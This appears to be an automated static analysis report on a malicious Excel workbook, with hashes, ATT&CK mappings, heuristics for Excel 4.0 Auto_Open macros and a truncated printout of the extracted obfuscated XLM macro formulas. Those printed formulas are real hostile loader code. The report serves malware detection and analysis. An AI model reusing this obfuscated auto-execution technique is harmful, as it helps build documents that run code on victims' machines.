Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 08db93f3861f4775…

MALICIOUS

Office (OLE)

267.0 KB Created: 2020-06-08 14:30:24 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 06d0e235a920b3cd28a771e96608c08b SHA-1: 38243b904963dfe310f653980bed32f02944e0dc SHA-256: 08db93f3861f4775905503c45eaf58a4df34639c0b9fb311f6bef49e63f48901
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macro sheets with an Auto_Open defined name, indicating automatic execution upon opening. Heuristics identified the use of dangerous formula APIs within these macros, specifically referencing RUN and other risky functions, suggesting an attempt to execute arbitrary code. The document body contains random strings, likely obfuscation or placeholders, and no specific lure was identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 54038 bytes
SHA-256: 976bcaf32f65ce48c498bc3a0296e5ebe1e946419d06c7ff31fc78560ec9ac87
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     26 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jGgaUO46vp53GjTS3
' 0018     33 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GE40065 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  jGgaUO46vp53GjTS3,IU1438,"SET.VALUE(BK2469,"RuLwK<_]e5sM)1Qa")",""
'  jGgaUO46vp53GjTS3,IU1439,GOTO(BL44436),""
'  jGgaUO46vp53GjTS3,BR1931,"FORMULA(MID(FF33947,8,1)&MID(EW9315,5,1)&MID(BL17869,10,1)&MID(BK2469,3,1)&MID(BK2469,3,1)&MID(BL17869,12,1)&MID(BL17869,2,1)&MID(BL17869,13,1)&MID(FF33947,3,1)&MID(BK2469,9,1)&MID(X44823,6,1)&MID(X44823,6,1)&MID(EW9315,13,1)&MID(FF33947,7,1)&MID(BL17869,2,1)&MID(FF33947,15,1)&MID(BL17869,2,1)&MID(BL17869,13,1)&MID(FF33947,3,1)&MID(BK2469,9,1)&MID(X44823,6,1)&MID(X44823,6,1)&MID(BL17869,7,1)&MID(EW9315,11,1)&MID(BK2469,9,1)&MID(X44823,9,1)&MID(BK2469,2,1)&MID(BL17869,14,1)&MID(BK2469,9,1)&MID(BL17869,10,1)&MID(BL17869,2,1)&MID(FF33947,15,1)&MID(BL17869,2,1)&MID(EW9315,6,1)&MID(EW9315,6,1)&MID(EW9315,5,1)&MID(EW9315,5,1)&MID(EW9315,5,1)&MID(EW9315,6,1)&MID(EW9315,6,1)&MID(BL17869,2,1)&MID(FF33947,15,1)&MID(FF33947,13,1)&MID(FF33947,15,1)&MID(BL17869,2,1)&MID(BL17869,3,1)&MID(FF33947,12,1)&MID(BK2469,9,1)&MID(X44823,3,1)&MID(BL17869,2,1)&MID(FF33947,15,1)&MID(BK2469,1,1)&MID(EW9315,12,1)&MID(BK2469,10,1)&MID(EW9315,2,1)&MID(FF33947,13,1)&MID(FF33947,5,1)&MID(BK2469,14,1)&MID(BK2469,8,1)&MID(EW9315,5,1)&MID(EW9315,12,1)&MID(FF33947,7,1)&MID(FF33947,13,1)&MID(EW9315,2,1)&MID(BK2469,8,1)&MID(FF33947,15,1)&MID(BK2469,1,1)&MID(EW9315,12,1)&MID(FF33947,5,1)&MID(FF33947,11,1)&MID(X44823,1,1)&MID(BK2469,10,1)&MID(BK2469,8,1)&MID(EW9315,5,1)&MID(EW9315,12,1)&MID(FF33947,7,1)&MID(FF33947,11,1)&MID(BK2469,8,1)&MID(FF33947,15,1)&MID(FF33947,13,1)&MID(FF33947,15,1)&MID(BK2469,10,1)&MID(BK2469,13,1),BR1932)",""
'  jGgaUO46vp53GjTS3,BR1933,GOTO(X55628),""
'  jGgaUO46vp53GjTS3,FZ2662,"FORMULA(MID(FF33947,8,1)&MID(BL17869,2,1)&MID(EW9315,5,1)&MID(X44823,2,1)&MID(FF33947,2,1)&MID(BL17869,4,1)&MID(BK2469,11,1)&MID(BK2469,9,1)&MID(X44823,14,1)&MID(BK2469,11,1)&MID(FF33947,2,1)&MID(BL17869,6,1)&MID(BK2469,2,1)&MID(EW9315,10,1)&MID(X44823,6,1)&MID(X44823,11,1)&MID(X44823,9,1)&MID(FF33947,2,1)&MID(BL17869,10,1)&MID(BL17869,7,1)&MID(EW9315,7,1)&MID(FF33947,6,1)&MID(BL17869,14,1)&MID(EW9315,8,1)&MID(FF33947,9,1)&MID(X44823,14,1)&MID(BK2469,9,1)&MID(FF33947,1,1)&MID(BL17869,2,1),BY18093)",""
'
... (truncated)